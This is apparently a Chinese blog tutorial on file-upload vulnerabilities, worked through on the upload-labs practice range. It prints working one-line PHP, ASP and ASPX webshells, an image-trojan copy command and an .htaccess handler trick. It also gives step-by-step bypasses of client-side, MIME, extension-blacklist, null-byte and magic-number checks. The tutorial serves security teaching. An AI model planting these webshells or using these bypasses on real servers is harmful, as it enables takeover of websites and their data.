WEB安全基础-文件上传
文章目录
- 文件上传简介
- 什么是文件上传
- 什么是文件上传漏洞
- 文件上传产生漏洞的原因
- 文件上传检测方式
- 文件上传漏洞危害
- Webshell
- 常用的一句话木马
- 制作图片马
- 构造php一句话木马
- 下载一个正常的jpg
- cmd使用copy命令制作
- Webshell原理
- 文件上传绕过
- 绕过客户端检测(JS检测)
- 关闭chrome 浏览器JS检测
- 打开upload-labs第一关
- 右键上传的图片
- 获取上传路径,使用HackerBar
- 蚁剑链接获取服务器权限
- 绕过服务端检测
- 服务端检测
- 绕过MIME类型检测
- 例子
- 绕过文件后缀检测-黑名单
- 例子
- 后缀大小写绕过:(.Php) upload-labs pass-5
- 空格绕过:(.php )upload-labs pass-6
- 点绕过:(.php.) upload-labs pass-7
- ::$DATA 绕过 upload-labs pass-8
- .htaccess 文件绕过 upload-labs Pass-4
- 双写绕过 upload-labs Pass-10
- 绕过文件后缀检测-白名单
- 绕过文件内容检测
- 文件幻数检测
- 例子
文件上传靶场
文件上传简介
什么是文件上传
将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务端硬盘上作为真实的文件保存。
通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。
什么是文件上传漏洞
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器端脚本语言未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况。
通常web站点会有用户注册功能,而当用户登录之后大多数情况下会存在类似头像上传、附件上传之类的功能,这些功能点往往存在上传验证方式不严格的安全缺陷,导致攻击者通过各种手段绕过验证,上传非法文件,这是在web渗透中非常关键的突破口。
文件上传产生漏洞的原因
- 服务器配置不当
- 文件上传限制被绕过
- 开源编辑器的上传漏洞
- 文件解析漏洞导致文件执行
- 过滤不严或被绕过
文件上传检测方式
一般一个文件上传过程中的检测方式有:
客户端JavaScript检测(检测文件扩展名)
服务端MIME类型检测(检测content-type内容)
服务端目录路径检测(检测跟path参数相关的内容)
服务端文件扩展名检测 (检测跟文件extension相关的内容)
服务端文件内容检测(检测内容是否合法是否含有恶意代码)
文件上传漏洞危害
攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站及服务器。 这个恶意的文件(php、asp、aspx、jsp等),又被称之为WebShell。
Webshell
常用的一句话木马
php一句话木马: <?php @eval($_POST[value]);?>
asp一句话木马: <%eval request("value")%>
aspx一句话木马: <%@ Page Language="Jscript"%><%eval(Request.Item["value"])%>
制作图片马
copy 1.jpg/b+1.php/a 2.jpg
构造php一句话木马
保存为 shell.php
下载一个正常的jpg
除了jpg文件其他的,gif ,jpeg,等等都可以
cmd使用copy命令制作
copy 1.jpg/b+shell.php/a 2.jpg
Webshell原理
以PHP一句话木马为例
<?php
@eval($_POST['cmd']);
?>
php的代码要写在 <?php ?> 里面,服务器才能认出来这是php代码,然后才去解析。
@ 符号的意思是不报错,因为变量没有定义而被使用,服务器会提醒XXX变量未定义。
$_POST['cmd'];php里面有几个超全局变量, $_GET、$_POST 就是其中之一,意思是用 post 的方法接收变量cmd传递来的字符。
eval()
把字符串作为PHP代码执行
system()
exec()
执行系统命令
文件上传绕过
绕过客户端检测(JS检测)
以 upload-labs 靶场第一关 chrome浏览器为例
关闭chrome 浏览器JS检测
在url地址栏输入:chrome://settings/content/javascript 添加需要关闭JS检测的网站
打开upload-labs第一关
点击上传文件,上传一个一句话木马文件,我这里是 shell.php的文件
右键上传的图片
右键上传图片-新标签页打开 获得上传的服务器路径
获取上传路径,使用HackerBar
upload/upload/shell.php 为上传路径,使用HackerBar 构造Body参数:cmd=phpinfo(); 看是否能执行PHP函数,能执行则一句话木马上传成功,接下来就可以使用蚁剑进行链接
蚁剑链接获取服务器权限
绕过服务端检测
服务端检测
服务端的代码通常检测三个点:MIME类型、文件内容、文件后缀
绕过MIME类型检测
常见MIME类型
- 超文本标记语言文本 .html text/html
- 普通文本 .txt text/plain
- PDF文档 .pdf application/pdf
- Microsoft Word文件 .word application/msword
- PNG图像 .png image/png
- GIF图形 .gif image/gif
- JPEG图形 .jpeg,.jpg image/jpeg
- au声音文件 .au audio/basic
- MPEG文件 .mpg,.mpeg video/mpeg
- AVI文件 .avi video/x-msvideo
- GZIP文件 .gz application/x-gzip
原理:检测图片类型文件上传过程中http包的 Content-Type 字段的值,来判断上传文件是否合法。
方法:用burpsuite截取并修改数据包中文件的 content-type 类型进行绕过。
例子
1、判断是前端检测还是后端检测,先上传一个php木马文件看是否可以js前端绕过,是不是存在任意文件上传漏洞,但是发现不可以上传php文件,但可以上传一些正常的文件格式去判断允许上传哪些文件格式的图片,这里不可以上传php木马文件,就可以判断它为服务端开启了MIME类型检测。
2、上传php木马文件,使用burp进行抓包,修改content-type的值为image/png,然后forward,进行上传,发现上传成功。
3、右键打开图片新标签页,获取上传路径,使用hackbar 执行php函数,phpinfo(),查看是否能执行,能执行说明可以使用mime类型绕过,这里发现能执行成功,并能获取信息
绕过文件后缀检测-黑名单
黑名单策略:
文件扩展名在黑名单中为不合法,一般有个专门的黑名单列表,里面会包含常见的危险脚本文件。
常见的绕过方法
1. 后缀大小写绕过:(.Php)
在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式。2. 空格绕过:(.php)
如果黑名单没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过。3. 点绕过:(.php.)
如果黑名单没有对后缀名进行去.处理,利用Windows系统的文件名特性,会自动去掉后缀名最后的.,通过在文件名后加.进行绕过。4. ::$DATA 绕过:
如果黑名单没有对后缀名进行去::$DATA处理,利用Windows下NTFS文件系统的一个特性,可以在后缀名后加::$DATA,绕过对黑名单的检测。5. 配合Apache解析漏洞:
Apache解析有一个特点,解析文件时是从右往左判断,如果为不可识别解析再往左判断,如
aa.php.owf.rar文件,Apache不可识别解析‘.owf’和‘.rar’这两种后缀,会解析成.php文件。6. .htaccess 文件
配合名单列表绕过,上传一个自定义的.htaccess ,就可以轻松绕过各种检测
.htaccess 文件(或者"分布式配置文件"),全称是Hypertext Access (超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
比如新建一个.htaccess 文件:<FilesMatch "png">
setHandler application/x-httpd-php
</FilesMatch>
通过一个.htaccess 文件调用php 的解析器去解析一个文件名中只要包含" png "这个字符串的任意文件,所以无论文件名是什么样子,只要包含"png"这个字符串,都可以被以 php 的方式来解析,一个自定义的.htaccess 文件就可以以各种各样的方式去绕过很多上传验证机制。
例子
后缀大小写绕过:(.Php) upload-labs pass-5
上传一个一句话木马文件,使用大写P绕过 只针对Windows系统,Linux无法使用,因为Linux系统区分大小写,Windows系统不区分大小写
新标签页打开图片,获取上传路径
使用hackbar,验证是否能执行php函数,查询网站信息,能查询则上传成功
空格绕过:(.php )upload-labs pass-6
上传一个 "shell.php"文件,使用burp抓包,在 filename 字段,添加空格,成功绕过
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sr3sWA3J-1669042085746)(https://files.catbox.moe/2hlgql.png)]
点绕过:(.php.) upload-labs pass-7
上传一个 "shell.php"文件,使用burp抓包,在 filename 字段,添加点,成功绕过
::$DATA 绕过 upload-labs pass-8
上传一个 "shell.php"文件,使用burp抓包,在 filename 字段,添加::$DATA,成功绕过注意访问图片路径需要删除::$DATA
.htaccess 文件绕过 upload-labs Pass-4
创建一个.htaccess文件,让jpg文件以php文件解析,这里的jpg文件是图片马
<FilesMatch "jpg"> SetHandler application/x-httpd-php
</FilesMatch>
先上传 .htaccess 然后上传jpg ,访问图片获取上传路径
双写绕过 upload-labs Pass-10
上传一个 "shell.php"文件,使用burp抓包,在 filename 字段后缀名修改为pphphp,成功绕过
绕过文件后缀检测-白名单
白名单策略:文件扩展名不在白名单中为不合法。
绕过方法:服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用00截断的方式进行绕过,包括%00截断与0x00截断。 php小于5.3.29
%00截断:
url发送到服务器后被服务器解码,这时还没有传到验证函数,也就是说验证函数里接收到的不是%00字符,而是%00解码后的内容,即解码成了0x00。0x00截断:
系统在对文件名进行读取时,如果遇到0x00,就会认为读取已经结束。但要注意是文件的十六进制内容里的00,而不是文件名中的00。
绕过文件内容检测
一般通过检测文件内容来判断上传文件是否合法。
主要有两种检测方法:
- 通过检测上传文件内容开始处的文件幻数来判断。
通常情况下,通过判断前10个字节,基本就能判断出一个文件的真实类型。- 文件加载检测
一般是调用API或函数对文件进行加载测试。常见的是图像渲染测试,再严格点的甚至是进行二次渲染
文件幻数检测
主要是检测文件内容开始处的文件幻数
文件格式幻数(外语:magic number),它可以用来标记文件或者协议的格式,很多文件都有幻数标志来表明该文件的格式。
常见图片类型的文件幻数如下:
要绕过 jpg 文件幻数检测就要在文件开头写上下面的值:
Value = FF D8 FF E0 00 10 4A 46 49 46
要绕过 gif 文件幻数检测就要在文件开头写上下面的值:
Value = 47 49 46 38 39 61 可见字符:GIF89a
要绕过 png 文件幻数检测就要在文件开头写上下面的值:
Value = 89 50 4E 47
JPEG (jpg),文件头:`FFD8FF`
PNG (png),文件头:`89504E47`
GIF (gif),文件头:`47494638`
HTML (html),文件头:`68746D6C3E`
ZIP Archive (zip),文件头:`504B0304`
RAR Archive (rar),文件头:`52617221`
Adobe Acrobat (pdf),文件头:`255044462D312E`
MS Word/Excel (xls.or.doc),文件头:`D0CF11E0`
然后在文件幻数后面加上自己的一句话木马代码就行了。
例子
这边上传shell.php,修改filename为 shell.png content-type 字段为 image/png ,发现还是不能上传成功,可以判断它对文件内容做了检测
我们直接修改图片文件头 GIF89a ,发现可以上传成功
修改 filename 后缀为 .php 上传,上传成功
WEB安全基础-文件上传相关推荐
- 想说爱你不容易 | 使用最小 WEB API 实现文件上传(Swagger 支持)
前言 上回,我们使用最小 WEB API 实现文件上传功能(<想说爱你不容易 | 使用最小 WEB API 实现文件上传>),虽然客户端访问是正常的,但是当打开 Swagger 页面时,发 ...
- web安全之文件上传漏洞总结
web安全之文件上传漏洞总结 https://www.cnblogs.com/YGblood/p/10443600.html
- Web网络攻防文件上传。.
Web网络攻防文件上传 上传漏洞靶场upload-labs安装 upload-labs 是由php 语言靶场,因此需要在PhpStudy下进行使用. 靶场文件下载:https://github.com ...
- web渗透之文件上传漏洞知识总结
一.文件上传漏洞思路: 第一步: 首先看中间件:因为第一步看中间件就是确定是否存在解析漏洞(学习整理几种解析漏洞的对应版本,有些低版本有解析漏洞,有些高版本就没有.)中间件版本确定了,解析漏洞就确定了 ...
- 渗透测试基础-文件上传漏洞 (下)
渗透测试基础-文件上传漏洞 (下) 第十一题 %00截断绕过 第十二题 %00截断绕过(二) 第十三题 图片马绕过 第十四题 getimagesize图片类型绕过 第十五题 php_exif模块图片类 ...
- 【web安全】——文件上传漏洞
作者名:白昼安全 主页面链接: 主页传送门 创作初心: 一切为了她 座右铭: 不要让时代的悲哀成为你的悲哀 专研方向: web安全,后渗透技术 每日emo:那种满的快要溢出来的喜欢,好像这辈子都不会有 ...
- Web项目中文件上传Filter处理
最近遇到一个文件上传的项目,而且在这个项目中遇到的文件上传的次数还是挺多的,所以就写了个Filter过滤器.这一个想法还是从一本书上看到的,所以原则上说并不是在下原创.不过因为补充了一点东西,所以,嘿 ...
- web安全之文件上传漏洞攻击与防范方法
一. 文件上传漏洞与WebShell的关系 文件上传漏洞是指网络攻击者上传了一个可执行的文件到服务器并执行.这里上传的文件可以是木马,病毒,恶意脚本或者WebShell等.这种攻击方式是最为直接和有效 ...
- spring boot 整合web开发之文件上传、静态资源访问、异常处理、返回JSON数据
目录 springboot 整合web开发 返回json数据 静态资源访问 文件上传 全局异常 1.返回json数据 springboot默认的是jackson-databind做为json处理器.也 ...
最新文章
- 日访问量百亿级的应用如何做缓存架构设计
- 零序电流计算软件_低压零序电流互感器的选择配置
- openstack nova 源码分析3-nova目录下的service.py
- Codeforces Round #267 Div2 C George and Job --DP
- 通过JDBC进行简单的增删改查(以MySQL为例)
- Java接口回调机制
- [DP/单调队列]BZOJ 2059 [Usaco2010 Nov]Buying Feed 购买饲料
- java组装树状结构数据集合_JAVA构建List集合为树形结构
- 传统form表单提交方式的文件上传与文件存储
- django 允许跨域请求
- AI研发新药真有那么神?可能哈佛、斯坦福和阿斯利康实验室都在吹牛
- Python项目实战:爬取斗图网表情包图片
- 硬盘故障时如何强制关机:Input/output error
- 初学C语言2--C语言项目的基本框架
- 纵横公路造价软件学习_纵横公路造价软件教程
- TypeScript keyof 用法
- python opencv颜色通道_【Python+OpenCV之五】 分离颜色通道多通道图像混合
- 使用Visual Paradigm如何复制表格
- 【随笔1】石榴红,依旧。
- 2021csgo网页开箱网站有哪些?csgo靠谱的开箱网站大全
热门文章
- 智行者获北京自动驾驶T3路测牌照的「高速无人车“星骥”」体验如何?...
- Cortex-M3处理器内核与基于Cortex-M3的MCU关系
- 万维网、因特网、互联网
- 在for循环中运行setTimeout的三种情况
- Unity(8)-开启或关闭背景音乐
- 本地pycharm连接到远程服务器(超级详细)
- 漏洞复现----37、Apache Unomi 远程代码执行漏洞 (CVE-2020-13942)
- 下载在线阅览的pdf文件
- 存储过程 debug
- 虹科QA | SWCF2022 12月6日演讲笔记:C波段卫星与5G之间的干扰排查及解决方案